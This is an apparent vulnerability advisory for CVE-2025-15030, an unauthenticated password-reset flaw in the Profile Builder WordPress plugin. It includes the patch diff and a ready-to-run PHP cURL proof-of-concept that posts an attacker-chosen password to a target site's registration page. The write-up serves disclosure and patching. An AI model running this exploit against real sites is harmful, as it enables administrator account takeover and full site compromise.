Atomic Edge analysis of CVE-2025-15030:
The User Profile Builder WordPress plugin, versions up to and including 3.15.1, contains an unauthenticated privilege escalation vulnerability. The flaw allows any unauthenticated attacker to reset the password of any user account, including administrators, leading to a complete account takeover. This vulnerability is rated with a CVSS score of 9.8 (Critical).
Atomic Edge research identified the root cause in the password reset logic within the plugin’s front-end registration component. The vulnerable code is located in the file `profile-builder/front-end/register.php`. The logic incorrectly accepted a password directly from the `$_POST[‘user_pass’]` parameter without first validating the user’s identity or ensuring the request was associated with a valid password reset key. This allowed an attacker to submit a new password without providing the required activation key, bypassing the intended authentication flow.
The exploitation method is straightforward. An attacker sends a POST request to the WordPress front-end page where the User Profile Builder registration or password reset form is embedded. The request must include the `user_pass` parameter with the attacker’s chosen new password. No authentication, nonce, user ID, or valid reset key is required. The plugin processes this request and updates the password for a user context that is improperly derived or defaulted, often the currently logged-in user or a user identified by an unvalidated session variable.
The patch, applied in version 3.15.2, removes the direct acceptance of the `user_pass` parameter from the POST data. The diff shows the removal of lines 12-13 in `register.php` that previously assigned `$password = $_POST[‘user_pass’];`. The patched code now only allows a password to be set when a valid, non-null `$key` (activation key) is present and verified via a database lookup. This enforces the intended workflow where a password change requires proof of possession of a secret reset link.
Successful exploitation grants an attacker full control over the compromised user account. For administrator accounts, this leads to complete site compromise. Attackers can install malicious plugins, inject backdoors, deface the site, exfiltrate sensitive data, or create new administrative users. The vulnerability enables a direct, one-step account takeover with no prerequisite authentication.
--- a/profile-builder/front-end/register.php
+++ b/profile-builder/front-end/register.php
@@ -10,9 +10,7 @@
$key = ( !empty( $_GET['key'] ) ? sanitize_text_field( $_GET['key'] ) : null );
$key = ( !empty( $_POST['key'] ) ? sanitize_text_field( $_POST['key'] ) : $key );
- if ( !empty( $_POST['user_pass'] ) )// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
- $password = $_POST['user_pass'];// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
- elseif ( !is_null( $key ) ) {
+ if ( !is_null( $key ) ) {
$signup = ( is_multisite() ? $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . $wpdb->signups . " WHERE activation_key = %s", $key ) ) : $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . $wpdb->base_prefix . "signups WHERE activation_key = %s", $key ) ) );
if ( empty( $signup ) || $signup->active ) {
--- a/profile-builder/index.php
+++ b/profile-builder/index.php
@@ -3,16 +3,16 @@
* Plugin Name: Profile Builder
* Plugin URI: https://www.cozmoslabs.com/wordpress-profile-builder/
* Description: Login, registration and edit profile shortcodes for the front-end. Also you can choose what fields should be displayed or add new (custom) ones both in the front-end and in the dashboard.
- * Version: 3.15.1
+ * Version: 3.15.2
* Author: Cozmoslabs
* Author URI: https://www.cozmoslabs.com/
* Text Domain: profile-builder
* Domain Path: /translation
* License: GPL2
* WC requires at least: 3.0.0
- * WC tested up to: 10.3
- * Elementor tested up to: 3.33.2
- * Elementor Pro tested up to: 3.33.2
+ * WC tested up to: 10.4
+ * Elementor tested up to: 3.34.0
+ * Elementor Pro tested up to: 3.34.0
*
* == Copyright ==
* Copyright 2014 Cozmoslabs (www.cozmoslabs.com)
@@ -438,7 +438,7 @@
*
*
*/
-define('PROFILE_BUILDER_VERSION', '3.15.1' );
+define('PROFILE_BUILDER_VERSION', '3.15.2' );
define('WPPB_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('WPPB_PLUGIN_URL', plugin_dir_url(__FILE__));
define('WPPB_PLUGIN_BASENAME', plugin_basename(__FILE__));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15030 - User Profile Builder <= 3.15.1 - Unauthenticated Privilege Escalation via Account Takeover
<?php
$target_url = 'https://vulnerable-site.com/'; // CHANGE THIS: Base URL of the target WordPress site
// The page where the Profile Builder front-end form is loaded (e.g., a registration or reset password page)
$form_page_slug = 'register'; // This may be 'register', 'reset-password', or a custom page slug
$full_url = $target_url . $form_page_slug . '/'; // Construct the full URL to the page
$new_password = 'Hacked123!'; // The password the attacker wants to set
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_POST, 1);
// The exploit sends the new password via the 'user_pass' parameter. No other authentication data is needed.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['user_pass' => $new_password]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects which may occur after password change
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code == 200) {
// The request was accepted. Check for success indicators in the response HTML.
if (strpos($response, 'Password changed successfully') !== false || strpos($response, 'profile-builder') !== false) {
echo "[SUCCESS] Password change request submitted. The target user's password may have been reset to: $new_passwordn";
echo "[INFO] Attempt to log in to the site with the target username and the new password.n";
} else {
echo "[POTENTIAL] Request completed but no clear success message. The page structure may have changed.n";
echo "Response Code: $http_coden";
}
} else {
echo "[ERROR] Request failed with HTTP code: $http_coden";
}
?>
